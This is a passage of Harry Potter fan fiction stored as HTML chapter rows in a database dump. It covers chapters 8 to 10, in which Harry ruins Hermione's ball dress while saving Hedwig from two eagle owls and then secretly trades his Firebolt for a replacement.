red.</p>\n\n<p>&#8220;But,&#8221; she continued, ignoring Harry&#8217;s request, &#8220;as for Hermione&#8217;s feelings, I would have to say that her actions are very ambiguous.&#8221;</p>\n\n<p>&#8220;Not anymore,&#8221; Harry grunted, looking down at his book but not reading the words. &#8220;Her going with MacMillian eradicates any speculation that she could possibly like me.&#8221;</p>\n\n<p>&#8220;Ernie asked <i>her, </i>Harry.&#8221;</p>\n\n<p>&#8220;So?&#8221;</p>\n\n<p>&#8220;That doesn&#8217;t mean that <i>she</i> likes <i>him</i>.&#8221;</p>\n\n<p>&#8220;So? She didn&#8216;t have to say &#8216;yes&#8217;.&#8221;</p>\n\n<p>&#8220;What was she supposed to say then?&#8221; snapped Hedwig, starting to feel impatient. &#8220;&#8216;<i>Sorry Ernie I can&#8217;t go with you because I&#8217;m waiting for Harry to ask me?&#8217;&#8221; </i>she mocked incredulously.</p>\n\n<p>&#8220;She should&#8217;ve,&#8221; whispered Harry, hoping that Hedwig didn&#8217;t hear.</p>\n\n<p>&#8220;Now you&#8217;re just being selfish Harry,&#8221; she scolded. &#8220;Technically, Hermione&#8217;s a free-bird; she can do whatever she wants.&#8221;</p>\n\n<p>&#8220;I just don&#8217;t see how she <i>can&#8217;t</i> tell that I&#8217;m in love with her,&#8221; said Harry, more to himself than Hedwig.</p>\n\n<p>&#8220;I just don&#8217;t see why <i>you</i> don&#8217;t just tell her you&#8217;re in love with her.&#8221;</p>\n\n<p>Harry shut his mouth for a few moments. The question of whether or not Harry was going to admit his feels for Hermione was always brought up by Hedwig; however, Harry never did answer her question. It wasn&#8217;t because he <i>didn&#8217;t</i> want to, he just had a hard time answering it for whatever reason it was. </p>\n\n<p>Harry just stared silently at the table, blinking occasionally, inadvertently making Hedwig feel sorry for him.</p>\n\n<p>&#8220;It&#8217;ll be all right Harry,&#8221; she cooed, walking over to him and putting her wing gently on his arm. &#8220;I&#8217;m sure the Ball with Ernie won&#8217;t be such a big deal to Hermione. She&#8216;ll go and have a good time, then you can sweep her off her feet with that excellent gift you bought her!&#8221;</p>\n\n<p>&#8220;I hope so,&#8221; replied Harry sadly.</p>\n\n<p>&#8220;Speaking of which,&#8221; said Hedwig, looking to her left. &#8220;Here comes Hermione now.&#8221; Harry&#8217;s head immediately shot in the direction of Hermione, who was walking toward them, her bushy brown hair cascading over her shoulders and bouncing slightly with the rhythm of her walk. The simple act of walking affected Harry so much that he had to swallow; it was surprising at how powerful an effect she had on him. She had a medium-sized gift box tucked under her arm and she looked very happy to be carrying it.</p>\n\n<p>&#8220;I&#8217;ll leave you two alone,&#8221; Hedwig whispered. Before Harry could answer, she nibbled affectionately on his finger, spread out her wings, and flew out of The Great Hall as fast as she had appeared. </p>\n\n<p>&#8220;Hi Harry!&#8221; Hermione smiled as she sat down next to him and placed the box she was carrying on the table.</p>\n\n<p>That smile that she had given him was probably the most powerful weapon she had against him; it was too bad she had no idea about it though. Harry wanted to say something drastic, something to match up to her smile and to repay her for rewarding him with such a heavenly expression. But all he could manage was - </p>\n\n<p>&#8220;Hi.&#8221;</p>\n\n<p>Hermione sat herself down next to him and placed the box she had with her on the side. &#8220;Where have you been?&#8221;</p>\n\n<p>&#8220;I should be asking that,&#8221; smiled Harry as he unknowingly gave her an exquisite look. &#8220;But anyway, I&#8217;ve been here the whole time. Luckily, Hedwig was here to keep me company.&#8221;</p>\n\n<p>&#8220;I could see that,&#8221; said Hermione as she looked off in the direction where Hedwig left. &#8220;Must be great to have a pet like her.&#8221;</p>\n\n<p>&#8220;What&#8217;s in the box?&#8221; Harry motioned, trying to make conversation.</p>\n\n<p>&#8220;Oh! The box&#8230; well,&#8221; said Hermione uneasily, turning a bit pink as she looked at the box herself. Harry took her uncomfortableness as a sign.</p>\n\n<p>&#8220;Oh! Never mind then,&#8221; Harry said embarrassed, holding his hands up in defense. &#8220;I can see that it&#8217;s a personal thing.&#8221;</p>\n\n<p>&#8220;Harry, it&#8217;s ok I&#8230;&#8221;</p>\n\n<p>&#8220;No no no,&#8221; Harry assured, &#8220;it&#8217;s none of my business anyway. Just&#8230; forget what I said.&#8221;</p>\n\n<p>&#8220;Harry,&#8221; said Hermione, &#8220;it&#8217;s quite all right. If you want to see&#8230;&#8221;</p>\n\n<p>&#8220;I don&#8217;t,&#8221; solidified Harry. &#8220;Just&#8230; never mind.&#8221;</p>\n\n<i><p>&nbsp;</p></i> '),
	(169, 8, ' <b><p>Chapter 8 - Disaster </p>\n\n<p></p>\n\n</b><p>&nbsp;</p>\n\n<p>Hermione sighed as she watched Harry turn his attention toward the book he was reading. He gulped. It felt a little funny having her just watch him like that. </p>\n\n<p>&#8220;Harry I&#8230;&#8221;</p>\n\n<p>&#8220;Mr. Potter! Mr. Potter!&#8221; shouted another voice from down the Great Hall. Though the name Harry was called, he and Hermione turned their heads. A second year Gryffindor girl was running toward where they were sitting as if she was in desperate need to win a jogging marathon.</p>\n\n<p>&#8220;Mr. Potter!&#8221; she said again as she came to a dead stop in front of them and put her hands on her knees to take a much needed breath.</p>\n\n<p>&#8220;Whoa, whoa,&#8221; Harry said, putting a hand on her shoulder to calm her. He had never seen a young girl look so frightened before. &#8220;And call me Harry.&#8221;</p>\n\n<p>&#8220;What&#8217;s the matter?&#8221; interjected Hermione in a comforting voice, putting her hand on the girl&#8217;s other shoulder.</p>\n\n<p>&#8220;Oh Ms. Granger!&#8220; the young second year girl screeched in a breath. &#8220;It&#8217;s terrible!&#8221;</p>\n\n<p>&#8220;Call me Hermione dear,&#8221; she said, trying to calm her as Harry had did. Even though they were Head Boy and Head Girl, the formal calling of their last names were unnecessary. </p>\n\n<p>&#8220;What is it?&#8221; soothed Harry, but the girl still had the horrified look on her face.</p>\n\n<p>&#8220;It&#8217;s&#8230; it&#8217;s Hedwig Mr. Pott&#8230; I mean, Harry,&#8221; the girl answered. </p>\n\n<p>Harry flinched as his eyes widened in fear and concern. &#8220;What&#8230; about Hedwig!?&#8221;</p>\n\n<p>&#8220;Outside&#8230; on the castle grounds&#8230; by the main entrance,&#8221; was all she could manage just as she burst into tears.</p>\n\n<p>&#8220;Hermione let me handle Hedwig. You&#8230;&#8221;</p>\n\n<p>But Hermione was already running toward the doors to the Great Hall, in the direction of the main entrance.</p>\n\n<p>&#8220;No, Hermione! I have Hedwig!&#8221; Harry shouted just as she turned outside the doors. She obviously did not hear him. &#8220;You forgot your box!&#8221; </p>\n\n<p>Harry exhaled deeply, thanked the little girl, grabbed Hermione&#8217;s box out of instinct, and sprinted the path Hermione had taken.</p>\n\n<p>***</p>\n\n<p>It seemed like a long time before Harry had actually went through the front doors and onto the front lawn. It was no wonder the little girl that told Harry and Hermione something was terrible was frightened, at least form a little girls eye view anyway.</p>\n\n<p>Harry stood in shock with his jaw dropped as he looked at the spectacle. Hedwig was there all right, but she was being attacked by two bigger, larger, and stronger wild eagle owls. Her screeches were loud enough to pierce through a wall. Hermione stood a few feet away with both her hands over her mouth in shock. A few other students were standing a few feet away and just watching, too shocked to do anything.</p>\n\n<p>Harry on the other hand could feel his blood rising quickly as he saw the two eagle owls torment Hedwig. Her cries and whimpers fueled Harry even more as she could do nothing but just literally sit there; the two owls were just overpowering her.</p>\n\n<p>Without thinking, Harry dashed forward passed Hermione and to Hedwig&#8217;s much needed aide. In Harry&#8217;s mind, he was no longer holding a box belonging to Hermione, but now he was holding a weapon. He batted one of the owls off of Hedwig with the box, using momentum from his run to make sure the owl received the full blast; it left a huge dent in the box. The eagle owl flew only a few feet, a bit dazed by the blow.</p>\n\n<p>With the adrenaline Harry had left, he used it to whack the other eagle owl off Hedwig. It flew a few feet too, but not as far as the first owl did. </p>\n\n<p>Harry looked around as he stood over Hedwig, protecting her from any other danger. A few students that were watching let out screams and gasps; Hermione stood at a distance, her hands over her mouth with shock.</p>\n\n<p>The two eagle owls stumbled a bit, shook their heads, and focused their eyes right on Harry.</p>\n\n<p>&#8220;Hang on Hedwig,&#8221; Harry whispered to her, &#8220;I won&#8217;t let anything else happen to you.&#8221;</p>\n\n<p>As if on routine, the two eagle owls darted toward Harry, much faster than he had anticipated. As a quick reaction, he shielded himself and Hedwig with the box, making the eagle owls attack that first. It seemed like they wanted to tear the box apart in order to get to Harry. The eagle owls slaughtered the box, getting through one of the sides and tearing away at its contents. The eagle owls tried to get around it, but Harry was persistent in keeping Hedwig safe. </p>\n\n<p>Some bystanders were starting to cheer him on. Others were just in plain shock.</p>\n\n<p>&#8220;Go! Give it to em Harry!&#8221;</p>\n\n<p>&#8220;Oh no! That&#8217;s awful!&#8221;</p>\n\n<p>&#8220;Somebody help him!&#8221;</p>\n\n<p>Those were some of the things Harry had heard as he continued to protect Hedwig. Not wanting to defend any longer, Harry took a few swings with the box at the eagle owls when he felt the time was right. Sometimes, he missed; other times he hit air. The back and forth duel between Harry and the eagle owls went on for quite some time.</p>\n\n<p>Finally, probably due to exhaustion, the two eagle owls gave up and retreated helplessly; they could no longer take any more beatings. Harry watched with alerted eyes as the eagle owls flew away, just in case if they were to come back. When he was certain they were long gone, Harry dropped the box and rushed to his knees to Hedwig&#8217;s aide.</p>\n\n<p>Harry kneeled beside her with his mouth agape. The damage was already done.</p>\n\n<p>&#8220;Hedwig&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s&#8230; ok Harry&#8230;&#8221; she barely managed to get out, &#8220;I&#8217;m fine&#8230;&#8221;</p>\n\n<p>Harry gently put his hand on one of her wings. It looked like it had been twisted with a pair of human hands. Hedwig screeched in pain.</p>\n\n<p>&#8220;Sorry, Hedwig,&#8221; he apologized, as he tried to caress her wing.</p>\n\n<p>&#8220;I think it&#8217;s broken&#8230;&#8221; she whispered. Just then, Hermione came running and knelt down right beside Harry to examine Hedwig as well. The rest of the spectators stood a few feet away silently, hoping for the best.</p>\n\n<p>&#8220;Oh my gosh Hedwig,&#8221; gasped Hermione. &#8220;You poor thing.&#8221;</p>\n\n<p>&#8220;I&#8217;m fine Hermione,&#8221; said Hedwig. It was too bad it sounded like a pitiful moaning hoot to her.</p>\n\n<p>&#8220;We need to get you to the hospital wing,&#8221; she advised, wiping at least some of the blood that was coming from her cuts. Because her feathers were white, the blood had stained most parts red.</p>\n\n<p>&#8220;I&#8217;ll take her,&#8221; called a voice from behind. Harry and Hermione both turned and saw the same girl that had told the both of them that there was a problem. &#8220;I&#8217;ll handle her just like a delicate child.&#8221;</p>\n\n<p>Harry carefully helped Hedwig into the arms of the girl. After a sigh of relief, she was on her way to the hospital wing, Hedwig as fragile as crystal in her arms.</p>\n\n<p>Hermione sighed as the girl walked away and hugged Harry&#8217;s arm. This surprised him just a bit, but nonetheless it did feel good. He smiled at her and she smiled back as the both of them watched Hedwig off. </p>\n\n<p>The crowd that was around them started into a bunch of cheers as the saving of Hedwig was a complete success. Some of the students went over to congratulate Harry in a job well done; however, the sudden look of sadness in Hermione&#8217;s eyes didn&#8217;t make him feel like celebrating any more.</p>\n\n<p>&#8220;What&#8217;s wrong Hermione?&#8221; he asked, as if she and him were the only ones around. The crowd took this as a hint, smiled with amusement, and walked off without another word.</p>\n\n<p>Hermione didn&#8217;t answer. Harry continued to look over her; the look on her face was heartbreaking. Her eyes were staring blankly to an area and her lip was somewhat trembling. It hurt to see her in such a state. Harry followed her gaze to the heap of mess on the floor. It was her box.</p>\n\n<p>Harry had totally forgotten that it was <i>Hermione&#8217;s </i>box he was carrying. If his brain was functioning correctly, he might&#8217;ve dropped it and took on the owls with his bare hands, but the two eagle owls upset him too much for him to think.</p>\n\n<p>The once beautiful and immaculate box was now a bit smudged, dirty, and smashed in several places. It was shredded here and there and some pieces were falling off. The thing that caught Harry&#8217;s eye the most was that it&#8217;s contents were protruding from the gashes.</p>\n\n<p>Hermione let go of Harry&#8217;s arm and knelt down by the box, trying to gather all the pieces together to see what was left. It seemed that Hermione cared more about the contents than anything.</p>\n\n<p>It was some sort of red material, made out of a very rich and delicate fabric. There were a few hints of glittering in the material when the sun hit it, which told Harry that whatever was inside was not cheap. Hermione ripped apart the box and took out all of the contents.</p>\n\n<p>It looked like some sort of big, red, and shiny blanket ripped in two. The only difference was that it was shredded and torn in a few places. Something told Harry that that was no blanket. </p>\n\n<p>&#8220;Hermione&#8230;um&#8230; what was that?&#8221; asked Harry as he knelt down by her to observe the material with her.</p>\n\n<p>Hermione&#8217;s eyes were just a bit watery. She swallowed, hoping that the tears wouldn&#8217;t fall. &#8220;This was my dress Harry.&#8221;</p>\n\n<p>Harry&#8217;s jaw dropped. He couldn&#8217;t believe what he just heard. That big shredded material that he though was a blanket turned out to be a dress! Harry embarrassingly reached for the material and felt it carefully; the texture was one no blanket would have. Hermione sniffled.</p>\n\n<p>&#8220;Um&#8230; Hermione?&#8221; asked Harry softly. &#8220;This wouldn&#8217;t happen to be the dress you were going to use for tomorrow night&#8217;s Christmas Ball, right?&#8221;</p>\n\n<p>&#8220;Actually&#8230; it is Harry,&#8221; she replied softly. &#8220;Well&#8230; it was&#8230;&#8221; She let out a fake heartedly laugh. Though Harry could see the tears in her eyes, she refused to let them fall.</p>\n\n<p>&#8220;Oh no&#8230;&#8221; groaned Harry. &#8220;This is all my fault&#8230;&#8221;</p>\n\n<p>&#8220;No it&#8217;s not,&#8221; replied Hermione. &#8220;You were trying to protect a friend. That I see as a very honorable thing to do.&#8221;</p>\n\n<p>&#8220;But what about the ball?&#8221; asked Harry, his eyes full of concern for Hermione&#8217;s attendance for the ball.</p>\n\n<p>&#8220;Don&#8217;t worry about it,&#8221; she assured. &#8220;I&#8217;ll just find some other dress.&#8221;</p>\n\n<p>&#8220;But it&#8217;s a formal ball Hermione!&#8221; exclaimed Harry. &#8220;If you don&#8217;t find another dress in time, you won&#8217;t be able to attend.&#8221;</p>\n\n<p>&#8220;Then I won&#8217;t go&#8230;&#8221; she whispered sadly.</p>\n\n<p>&#8220;But&#8230;&#8221; was all Harry could say. In fact, he didn&#8217;t know what to say after all this. It was because of him that her dress was used as a baseball bat. It was because of him that her dress was completely destroyed. It was because of him that she wouldn&#8217;t be going to the Christmas Ball.</p>\n\n<p>&#8220;I am so sorry Hermione&#8230;&#8221; whispered Harry.</p>\n\n<p>&#8220;Don&#8217;t worry Harry,&#8221; she answered in the same soft, dead tone. &#8220;It&#8217;s not your fault.&#8221;</p>\n\n<p>It was no use. Who was she trying to kid!? Harry knew very well that she knew this was his fault and Hermione could have told him that it wasn&#8217;t his fault a million times and he still wouldn&#8217;t believe it. No matter what, he was responsible for this mess here and deep in his mind, he was going to make it up to her&#8230; but how?</p>\n\n<p>&#8220;Is that why you weren&#8217;t down at lunch at the usual time?&#8221; Harry just had to make sure.</p>\n\n<p>Hermione nodded. &#8220;I was waiting for the box to be delivered. Mom sent it to me&#8230;&#8221;</p>\n\n<p>That did it&#8230; Harry <i>had </i>to make it up somehow.</p>\n\n<p>***</p>\n\n<p>Harry paced back and forth in his Head dormitory in his pajamas, trying to think straight. Since the eagle owl dilemma, the thought of making it up to Hermione bothered him like a fly. He just couldn&#8217;t concentrate on anything else.</p>\n\n<p>&#8220;What am I going to do!?&#8221; said Harry to himself exasperatedly. &#8220;There&#8217;s something in my mind, but I can&#8217;t put my finger on what it is!&#8221;</p>\n\n<p>Harry scratched his head in frustration. &#8220;If only I had more time! The ball is less than 24 hours away! How am I going to get a dress before then!?&#8221;</p>\n\n<p>Harry continued to pace even more around the room with his hands behind his back. &#8220;If I don&#8217;t come up with something now, this&#8217;ll haunt me for the rest of my life. If only all stores sold dresses then&#8230;&#8221;</p>\n\n<p>Suddenly, Harry stopped in mid-sentence in the middle of the room, his eyes widening. He looked at the door to his closet, then to a mirror showing his reflection, then to the broomstick servicing kit Hermione had given him in 3rd year, then to the clock. He stood there for a few moments to make sure that everything fit and would work.</p>\n\n<p>&#8220;That&#8217;s it!&#8221; smiled Harry. &#8220;I think I got it!&#8221;</p>\n\n<p>After taking a few deep breaths of relief, Harry climbed into bed and pulled up the covers with the same grin on his face. He dreamed that his plan was going to turn out perfectly.</p> '),
	(169, 9, ' <b><p>Chapter 9 - Harry&#8217;s Decision</p>\n\n<p></p>\n\n<p>&nbsp;</p>\n\n</b><p>Something had woken up Harry just at the right time. He couldn&#8217;t explain it himself, but he was subconsciously having doubts as he rubbed his eyes lazily and looked out the window; the sun was just beginning to peek over the horizon.</p>\n\n<p>&#8220;Why is it that the plan looked so much better when I was awake?&#8221; he said to himself with a yawn.</p>\n\n<p>Nonetheless, Harry got himself ready (a bit more slowly than usual) and bundled himself in winter clothes for the day and headed toward the closet.</p>\n\n<p>He opened it rather slowly, a bit hesitant most likely, peered inside, and gave a half grin. There it was, leaning right against the side of the wall, immaculate and untouched.</p>\n\n<p>&#8220;Here it is,&#8221; said Harry out loud as if he was talking to someone. &#8220;No turning back now.&#8221; He grabbed the broomstick and held it delicately in his hands - as if he was saying goodbye. After taking a deep breath, he propped the broomstick over his shoulder and headed quietly out the door.</p>\n\n<b>\n\n</b><p>***</p>\n\n<p>The alleys of Hogsmeade was no doubt a lot calmer and quieter than Harry was used to seeing. Though the sun was just peeking over the horizon, many stores were dark and empty, while some of them, the owners were just opening them up and preparing for a hard days work. The light snowfall did give Hogsmeade a peaceful feel nonetheless. However, this scenery alone was starting to worry Harry a bit.</p>\n\n<p>&#8220;Maybe I came a little to early,&#8221; he said to himself wearily. &#8220;But I have no other time to come. This&#8217;ll have to work!&#8221;</p>\n\n<p>He picked up his pace a bit and prayed that she would be there. She had to! Finally, after quickly walking down an alley, he came to the place he was looking for: &#8220;Lynda&#8217;s Wizard Anythings&#8221;.</p>\n\n<p>The stores curtains were closed and it seemed a bit dark at first, but a dim light that came from the back of the store gave Harry a bit of hope.</p>\n\n<p>&#8220;Hello? Is anyone in there?&#8221; he shouted as he knocked on the door. There was no answer.</p>\n\n<p>&#8220;This is not good,&#8221; Harry said shaking his head. He tried knocking again. Still no answer.</p>\n\n<p>&#8220;What am I going to do!?&#8221; he sighed exasperatedly, sitting on the front steps of the shop, placing his broom stick in his lap, and burying his head in his hands. He sat there for a few moments, wondering what else he could possibly do when suddenly from behind him&#8230;</p>\n\n<p>&#8220;Harry&#8230;?&#8221;</p>\n\n<p>His head shot up and swiveled his head around.</p>\n\n<p>&#8220;Ashley!&#8221; exclaimed Harry happily.</p>\n\n<p>&#8220;What are you doing here?&#8221; she asked with a smile, not used to such a warm smiling face at this time in the morning.</p>\n\n<p>Harry was too pleased to see her to answer.</p>\n\n<p>***</p>\n\n<p>After Ashley had let Harry in, dusted some snow of his robes, and gave him a goblet of hot chocolate, she stood behind her counter with Harry on the other side, ready to engage in conversation.</p>\n\n<p>&#8220;So what on earth are you doing here at such an early time?&#8221; she asked in a half curious, half annoyed sort of way.</p>\n\n<p>&#8220;Hold on a second,&#8221; Harry said, and turned around and walked toward the front of the store carefully, making sure that he didn&#8217;t step on anything in the way.</p>\n\n<p>The front displays of the manikins were covered by a sheet. Harry quickly moved it aside to get a peek and smiled.</p>\n\n<p>It was just like Harry had faintly remembered: the two manikins, one of them dressed and the other not. But Harry was looking contently at the dressed one. The one with the fine red elegant dress. Harry laughed softly through his nose and expressed his joy to himself with a small, &#8220;All right!&#8221; He covered the manikins back up and made his way back to Ashley, who had a confused and bewildered look on her face.</p>\n\n<p>&#8220;Ok,&#8221; she said slowly. &#8220;What was that all about?&#8221;</p>\n\n<p>&#8220;I need a favor,&#8221; said Harry seriously and to the point. &#8220;I need that red dress over there.&#8221;</p>\n\n<p>Ashley continued to look at him with the same confused look on her face. Then gradually, as what Harry had said became to register, a smile crept on to her face, which in turn made its way into a laugh. </p>\n\n<p>&#8220;Ok,&#8221; she said again between her uncontrolled giggles. Harry didn&#8217;t seem to think anything was funny.</p>\n\n<p>&#8220;What&#8217;s so funny?&#8221; he asked, raising his eyebrows. </p>\n\n<p>&#8220;I mean come on Harry,&#8221; Ashley answered, trying to control her giggles, &#8220;It&#8217;s not everyday that a <i>guy </i>comes here at the crack of dawn and asks for a dress. What do <i>you</i> need it for? I&#8217;m positive you&#8217;re not in desperate need of one.&#8221;</p>\n\n<p>&#8220;Oh its not for me!&#8221; Harry said hastily, turning a bit red and chuckling a bit with Ashley. &#8220;It&#8217;s for a friend of mine.&#8221;</p>\n\n<p>&#8220;<i>I&#8217;m sure it is Harry</i>!&#8221; answered Ashley sarcastically. &#8220;No! I&#8217;m kidding!&#8221; </p>\n\n<p>Harry was starting to feel very impatient with her.</p>\n\n<p>&#8220;Tell me what happened,&#8221; she asked in more serious tone. &#8220;Why would you need a dress so badly?&#8221;</p>\n\n<p>Harry began explaining to her all about Hedwig and how she was attacked by two wild eagle owls, how he had mindlessly used Hermione&#8217;s box as a weapon, and how the box and its contents, which happened to be Hermione&#8217;s dress for the Christmas Ball, had gotten destroyed in the whole ordeal.</p>\n\n<p>&#8220;Oh I am so sorry,&#8221; said Ashley, feeling very sorry for Harry.</p>\n\n<p>&#8220;Don&#8217;t be,&#8221; he added. &#8220;Even though Hermione says that it wasn&#8217;t my fault, deep down, I know that she knows its my fault. And no matter how much she denies it, I&#8217;ve done something wrong Ashley, and I have to make up for it.&#8221;</p>\n\n<p>&#8220;And the reason you want that dress is so that you can pay Hermione back for the dress you ruined?&#8221;</p>\n\n<p>&#8220;Exactly!&#8221; proclaimed Harry, his eyes lighting up. However, Ashley sighed sorrowfully.</p>\n\n<p>&#8220;I&#8217;m not going to lie to you Harry,&#8221; she added sadly. &#8220;That dress on that manikin is very expensive. That&#8217;s why no one was buying it.&#8221;</p>\n\n<p>&#8220;I figured that,&#8221; said Harry calmly. &#8220;That&#8217;s where I need a favor.&#8221;</p>\n\n<p>He had her undivided attention as she was anxious to hear what <i>exactly </i>his favor was.</p>\n\n<p>&#8220;Well&#8230;&#8221; started Harry embarrassingly, &#8220;since I don&#8217;t have any money on me right now&#8230;&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry Harry,&#8221; she interrupted, and she really looked it, &#8220;but I can&#8217;t let you have that and you pay me back later. It&#8217;s against company policy and I&#8217;m very faithful to my grandma&#8230;&#8221;</p>\n\n<p>&#8220;Oh but wasn&#8217;t it!&#8221; assured Harry. &#8220;I was thinking of something else&#8230;&#8221;</p>\n\n<p>&#8220;Like what?&#8221;</p>\n\n<p>&#8220;Well&#8230;&#8221; said Harry again, turning a bit pink and rubbing the back of his neck. &#8220;I was thinking more along the lines of a&#8230; a trade?&#8221;</p>\n\n<p>&#8220;Trade?&#8221; repeated Ashley incredulously. &#8220;And what would you trade for that dress?&#8221;</p>\n\n<p>Harry closed his eyes, took a deep breath, and pulled the item he had been hiding into view. Ashley&#8217;s knees almost gave way when Harry had shown what he wanted to trade. He handed it over to her and she took it hesitantly.</p>\n\n<p>&#8220;Harry&#8230;&#8221; she said mesmerized, her wide eyes on the thing that was in her hands. &#8220;This is a Firebolt Broomstick.&#8221;</p>\n\n<p>&#8220;I know,&#8221; said Harry softly, his thoughts that this may be the last time he ever saw it again. &#8220;I want to trade this for the dress.&#8221;</p>\n\n<p>&#8220;But - but&#8230;&#8221; startled Ashley. She seemed to be looking for a reason <i>not </i>to take it. Harry was already one step ahead of her.</p>\n\n<p>&#8220;I know that this broomstick is probably worth twice as much as the dress,&#8221; he explained, &#8220;but I don&#8217;t want the difference of it. I just want a simple trade, my broomstick for your dress.&#8221;</p>\n\n<p>&#8220;But this is your Firebolt Broomstick Harry!&#8221; Ashley said incredulously. &#8220;This is your most prized possession!&#8221;</p>\n\n<p>&#8220;I know,&#8221; Harry replied in the same and calm voice. &#8220;But I owe a friend a favor because of my stupidity. I have to give up something.&#8221; </p>\n\n<p>&#8220;Well I can&#8217;t wait for the look on her face when she finds out that you gave up your prized broomstick so you could replace her dress!&#8221; she said, her face lighting up. </p>\n\n<p>&#8220;Oh! I&#8217;m not going to tell her,&#8221; Harry simply put.</p>\n\n<p>The minute she looked at Harry, her face fell; Harry didn&#8217;t look as heartedly as she did. &#8220;Why not?&#8221;</p>\n\n<p>&#8220;Because,&#8221; said Harry as he rubbed the back of his neck again, as if that would explain it, &#8220;I just don&#8217;t want her to. Trust me, it&#8217;ll make things easier, that&#8217;s why.&#8221;</p>\n\n<p>Ashley took her eyes off the broom for a moment and placed it gently on the counter. Her eyes were narrowed suspiciously.</p>\n\n<p>&#8220;Let me get this straight,&#8221; she said in a heated tone. &#8220;You want to trade in your Firebolt Broomstick, for a dress for a girl that&#8217;s your best friend, who you happen to have a crush on, because you ruined her last one, and to sum it all up, you won&#8217;t tell her that you did it?&#8221;</p>\n\n<p>Harry nodded slowly, however a bit surprised at Ashley&#8217;s tone change. &#8220;Yeah&#8230; and for whatever situation that may come up, please don&#8217;t tell her, or anyone for that matter.&#8221;</p>\n\n<p>&#8220;Harry&#8230;&#8221;</p>\n\n<p>&#8220;Please!?&#8221; he begged.</p>\n\n<p>&#8220;&#8230;that is the most sweetest thing I&#8217;ve ever heard!&#8221; she proclaimed. &#8220;I&#8217;ve never heard such great deed before!&#8221;</p>\n\n<p>Harry didn&#8217;t seem to be listening to her. &#8220;Promise me that you won&#8217;t say a word.&#8221;</p>\n\n<p>&#8220;I won&#8217;t,&#8221; Ashley promised. &#8220;Though I don&#8217;t know when I&#8217;d ever see her. I don&#8217;t even know what she looks like!&#8221;</p>\n\n<p>&#8220;That&#8217;s right,&#8221; laughed Harry. &#8220;But anyway&#8230; thanks Ashley&#8230;&#8221;</p>\n\n<p>&#8220;Anytime Harry,&#8221; smiled Ashley. &#8220;But&#8230;&#8221;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;I still don&#8217;t agree with accepting the Firebolt. Don&#8217;t you have something else?&#8221;</p>\n\n<p>&#8220;Not including my Firebolt, I don&#8217;t have anything with enough value,&#8221; explained Harry. &#8220;Besides, I think the trade is worth it.&#8221;</p>\n\n<p>&#8220;But Harry&#8230;&#8221;</p>\n\n<p>&#8220;Could you help me with the dress?&#8221; interrupted Harry, not wanting to hear of the Firebolt anymore.</p>\n\n<p>***</p>\n\n<p>After taking the dress off the manikin, Ashley went ahead and packed it neatly in a white box and took the initiative to put a white bow on it.</p>\n\n<p>&#8220;You didn&#8217;t have to&#8230;&#8221; blushed Harry as she handed the box to him. </p>\n\n<p>&#8220;Of course I did,&#8221; she made certain. &#8220;It&#8217;s the least I could do.&#8221;</p>\n\n<p>&#8220;Thanks again Ashley,&#8221; thanked Harry for about the hundredth time.</p>\n\n<p>&#8220;No problem,&#8221; she replied. &#8220;Go and make Hermione a happy witch.&#8221;</p>\n\n<p>Harry smiled.</p>\n\n<p>&#8220;Which reminds me,&#8221; added Ashley, &#8220;Hermione hasn&#8217;t receive her gift yet huh?&#8221;</p>\n\n<p>It took Harry a while before he got it. &#8220;That&#8217;s right!&#8221;</p>\n\n<p>&#8220;You&#8217;ve forgotten about it?&#8221;</p>\n\n<p>&#8220;Not entirely,&#8221; admitted Harry. </p>\n\n<p>&#8220;Then she&#8217;ll have <i>two </i>great gifts from you! But she&#8217;ll only know of one,&#8221; she added sadly.</p>\n\n<p>Harry nodded, gave a small smile, and started for the door, the box under his arm. He paused at the doorsill and took one final look at Ashley.</p>\n\n<p>&#8220;Bye Ashley and thanks again&#8230;&#8221;</p>\n\n<p>&#8220;Bye Harry,&#8221; she waved and smiled, hearing him say thank you for the hundredth and one time. &#8220;And good luck.&#8221;</p>\n\n<p>&#8220;Make sure you take care of her for me,&#8221; he said, motioning toward the broomstick on the counter.</p>\n\n<p>&#8220;I will,&#8221; replied Ashley. And with that Harry closed the door behind him and was gone.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<b><p>A/N: To all the readers out there, just to let you know, this story is FAR from over. We may be in on an emotional adventure for Harry here&#8230;</p>\n\n</b><p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<i><p>&nbsp;</p></i> '),
	(169, 10, ' <b><p>Chapter 10 - What to do?</p>\n\n<p></p>\n\n<p>&nbsp;</p>\n\n</b><p>Luckily, it was still very early when Harry had returned to Hogwarts. He still had to be careful though; he didn&#8217;t want anyone to see him (mostly Hermione) with a strange box at so early in the morning. Just to make sure that there were no students, Harry glanced around corners in the halls to check. Other than a few ghosts roaming from here to there, fortunately there was no students.</p>\n\n<p>&#8220;Whew!&#8221; whispered Harry as he finally got up to Hermione&#8217;s room. Right when he was about to open her door, he froze.</p>\n\n<p>Wait a minute, thought Harry. This is way too obvious. There&#8217;s got to be another way! I know, I&#8217;ll visit Hedwig, he said as he dashed off into the direction of the hospital wing. She&#8217;ll know what to do.</p>\n\n<p>***</p>\n\n<p>Much to the resentment of Madam Pomfrey (Oh all right! But not more than 5 minutes! You should still be asleep at this hour!), Harry sat down next to the bed that contained Hedwig and placed the box on the side. He smiled.</p>\n\n<p>Her bed was the exact design and trim of the human hospital beds, but it was scaled down and made to fit just the right size of Hedwig. She hooted in glee when she awoke and saw him.</p>\n\n<p>&#8220;Hello Harry,&#8221; she said lazily, opening one eye and smiling.</p>\n\n<p>&#8220;Hi Hedwig,&#8221; whispered Harry.</p>\n\n<p>&#8220;What on Earth are you doing up this early?&#8221;</p>\n\n<p>Harry went ahead and told her all about the situation he was in. About how he got up early and went to the same place in Hogsmeade where he had gotten Hermione&#8217;s Christmas present to get her a dress for tonight&#8217;s Christmas Ball, all the way up to where he traded in his Firebolt broomstick for it.</p>\n\n<p>&#8220;You didn&#8217;t!&#8221; screeched Hedwig in astonishment.</p>\n\n<p>&#8220;I did,&#8221; confirmed Harry. &#8220;It was the only way I&#8217;d have to money for the dress!&#8221;</p>\n\n<p>Hedwig was ready to scold him some more, but her tiredness and weakness, added to the fact that it was way too early in the morning for anything, stopped her from doing 